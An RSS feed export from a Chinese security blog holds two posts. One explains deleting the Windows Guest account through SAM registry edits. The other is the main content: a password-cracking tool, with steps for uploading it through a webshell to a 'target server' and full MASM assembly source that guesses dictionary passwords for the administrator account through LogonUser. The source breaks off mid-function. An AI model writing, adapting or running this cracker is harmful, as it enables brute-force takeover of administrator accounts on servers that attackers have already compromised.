<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; domain</title>
	<atom:link href="http://www.5bay.cn/tag/domain/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>通过注册表彻底删除guest等账户</title>
		<link>http://www.5bay.cn/server-building/eeeuestee.html</link>
		<comments>http://www.5bay.cn/server-building/eeeuestee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:57:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[诫]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=521</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeuestee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>开始&#8212;&#8212;运行regedt  启动注册表编辑器 找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。 再次运行regedit： 此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到： HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。 进入dos窗口： &#62;net user 看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！ ======== 需要提醒的是： 1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。 2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是： 可通过编辑注册表的SAM信息可轻松删除或改动其它账 2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。 相关博文2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- ajax的缺点 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- Rsync详解 [...]]]></description>
			<content:encoded><![CDATA[<p>开始&#8212;&#8212;运行regedt  启动注册表编辑器<br />
找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。<br />
再次运行regedit：<br />
此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到：<br />
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest<br />
删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。<br />
进入dos窗口：<br />
&gt;net user<br />
看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！<br />
========<br />
需要提醒的是：<br />
1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。<br />
2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是：<br />
可通过编辑注册表的SAM信息可轻松删除或改动其它账<br />
2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeuestee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Webshell下破解计算机管理员密码</title>
		<link>http://www.5bay.cn/server-building/webshelleechueeee.html</link>
		<comments>http://www.5bay.cn/server-building/webshelleechueeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=515</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个idea源自以前学runas命令时候的启发。 使用方法：     1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\     2、把程序上传到c:\windows\temp\中，然后运行它。     3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，        如果为空就说明还没破解完，另选时间再回来看。 特点：     不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。     默认破解administrator用户的密码。要破其它，请自行修改代码。 result_.txt示例： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ The administrator&#8217;s password is: tester The program had tried 32653 times! Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s. －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 源代码如下： AdminPassCrack.asm文件 复制内容到剪贴板代码: ;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; ;                AdminPassCracker ; ;                                By taiwansee        2008.10.23 ; ; 使用 nmake 或下列命令进行编译和链接: ; ml /c /coff AdminPassCracker.asm ; [...]]]></description>
			<content:encoded><![CDATA[<p>软件作者：taiwansee<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; Include 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_PATH dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .code<br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        div        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
